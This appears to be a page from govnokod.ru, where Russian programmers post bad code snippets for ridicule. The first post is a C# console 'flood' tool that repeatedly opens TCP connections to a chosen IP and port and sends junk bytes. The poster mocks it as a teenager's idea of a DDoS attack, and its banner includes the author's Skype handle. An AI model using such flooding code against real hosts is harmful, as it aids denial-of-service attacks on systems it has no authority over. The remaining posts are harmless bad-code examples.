1. C# / Говнокод #9186

    +972

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    private static void Main(string[] args)
    {
    Label_0000:
        Console.ForegroundColor = ConsoleColor.Green;
        Console.Title = "Inside Attack By XCrackers, Flood And Crash System!!";
        Console.Write("*******************************************************************************\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\n\n\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\n\n\nFOR CONTACT:\n\nSKYPE: roeeko10\n\nMSN: [email protected]\n\nSimple, Just Add Me For New UPDATE....\n*******************************************************************************\n\n");
        Console.Write("\n1) Inside.Attack, Flooding\n2) Exit\n\n");
        Console.Write("Your Choise : ");
        switch (int.Parse(Console.ReadLine()))
        {
            case 1:
            {
                Console.Write("\nEnter IP Address : ");
                string ipString = Console.ReadLine();
                Console.Write("\nPort : ");
                int port = int.Parse(Console.ReadLine());
                Console.Write("\nProtocol Tcp/Udp : ");
                Console.ReadLine();
                Console.Write("\nHow Much Request ? : ");
                int num3 = int.Parse(Console.ReadLine());
                byte[] bytes = Encoding.ASCII.GetBytes("abcdefghlkmnopzrstws!!$@$545$%2d21df3s");
                try
                {
                    for (int i = 0; i < num3; i++)
                    {
                        sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipString), port);
                        sck.SendTimeout = 1;
                        sck.Connect(remoteEP);
                        sck.SendTo(bytes, remoteEP);
                        Console.WriteLine("[*]Inside.Attack, Syn Request : {0} Data Bytes : 1956 BYTE Every 0.3 Sec ", i);
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot Connected To The Host ......");
                    Console.ReadLine();
                }
                Console.WriteLine("[+]Inside Attack Sucsess.!! All The Syn Request And The Data Byte Was Sent !! <ANT KEY FOR CONTINUE>");
                Console.ReadKey();
                goto Label_0000;
            }
            case 2:
                return;
        }
        Console.Clear();
        Console.WriteLine("Incorrect Choose!! . Please Choose 1/2.\n\n");
        goto Label_0000;
    }

    Код 13-и летнего кулхацкера. "Это ДДОС посоны".

    cthulhu25, 20 Января 2012

    Комментарии (53)
  2. JavaScript / Говнокод #9185

    +150

    1. 1
    2. 2
    var a=document.write('<textarea>') ;
    document.write(a) ;

    cthulhu25, 20 Января 2012

    Комментарии (2)
  3. Куча / Говнокод #9184

    +147

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    Hello, <i>truekenny</i>!<br />
    <br />
    На Ваш e-mail была запрошена регистрация на сайте Говнокод.ру!<br />
    <br />
    Для подтверждения своих намерений перейдите по этой ссылке:<br />
    <br />
    <a href="http://govnokod.ru/user/confirm?code=0938740efc5e3004 ... </a><br />
    <br/>
    <br/>
    Внимание! Ссылка будет доступна в течение 3-х суток. Если Вы не ... заново!<br />
    <br />
    <br />
    <br />
    С уважением, Ваш <a href="http://govnokod.ru">Говнокод</a>.

    <p>
    Hello, <em>truekenny</em>!
    </p>
    <p>
    На Ваш e-mail была запрошена регистрация на сайте Говнокод.ру!
    </p>
    ...

    truekenny, 20 Января 2012

    Комментарии (0)
  4. C++ / Говнокод #9183

    +150

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    int MyNewClass::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
    {
        _id = QWidget::qt_metacall(_c, _id, _a);
        if (_id < 0)
            return _id;
        return _id;
    }

    Из Qt 4.8.0, генерится сие чудо и находится в файле moc_ИмяВашегоКласса.

    Glaciuse, 20 Января 2012

    Комментарии (7)
  5. Куча / Говнокод #9182

    +140

    1. 1
    http://govnokod.ru/kucha

    kucha - транслит
    KO

    truekenny, 20 Января 2012

    Комментарии (3)
  6. Куча / Говнокод #9181

    +119

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    FROM: Glype 1.2
    SITE: http://www.glype.com/download.php
    FILE: themes/default/framedForm.inc.php
    LINE: 23
    
    #include script {
      display:none;
    }

    truekenny, 20 Января 2012

    Комментарии (0)
  7. Pascal / Говнокод #9180

    +107

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    begin
    writeln('Enter 1st number');
    readln(a);
    writeln('Enter 2st number');
    readln(b);
    writeln('Enter 3st number');
    readln(c);
    
    if a = b then if a = c then if b = c then       ;
    writeln('numbers are');
    
    if a > b then if a = c then if b < c then
    writeln('a Equally c and it is more b')         ;
    
    if a = b then if a > c then if b > c then
    writeln('a Equally b and it is more c')         ;
    
    if a < b then if a < c then if b = c then
    writeln('b Equally c and it is more a')         ;
    
    if a > b then if a > c then if b > c then
    writeln('a it is more ')                        ;
    if a > b then if a > c then if b < c then
    writeln('a it is more ')                        ;
    if a > b then if a > c then if b = c then
    writeln('a it is more ')                        ;
    
    if a < b then if a = c then if b > c then
    writeln('b it is more ')                        ;
    if a < b then if a > c then if b > c then
    writeln('b it is more ')                        ;
    if a < b then if a < c then if b > c then
    writeln('b it is more ')                        ;
    
    if a = b then if a < c then if b < c then
    writeln('c it is more ')                        ;
    if a > b then if a < c then if b < c then
    writeln('c it is more ')                        ;
    if a < b then if a < c then if b < c then
    writeln('c it is more ')                        ;

    Такое выдал один из моих учеников в 10м классе после того, как отказался учится рисовать блок-схемы и сказал, что сразу сможет писать. Задание заключалось в том, чтобы программа выводила большее из 3х введенных пользователем чисел.

    Rage, 20 Января 2012

    Комментарии (55)
  8. Java / Говнокод #9179

    +65

    1. 1
    2. 2
    3. 3
    4. 4
    public int getSysEmailId() {
            return super.getJdbcTemplate().queryForInt(
                    "SELECT id FROM sys_email");
        }

    Коллега порадовал. Говнонюанс в том, что sys_email имеет структуру (id SERIAL PRIMARY KEY, login text NOT NULL UNIQUE, password text NOT NULL).

    0rt, 20 Января 2012

    Комментарии (1)
  9. C# / Говнокод #9178

    +111

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    while (true)
                    {
                        if (sec > 10)
                        {
                            sec = 0;
                            // Вызор функции
                        }
                        else
                            sec++;
    
                        Thread.Sleep(1000);
                    }

    Боевой код, который допиливаю(

    yorikim, 20 Января 2012

    Комментарии (4)
  10. PHP / Говнокод #9177

    +150

    1. 1
    2. 2
    $id = $_GET['id'];
    $id = (int) intval($id);

    Чтобы уж наверняка :)

    DropWorld, 19 Января 2012

    Комментарии (9)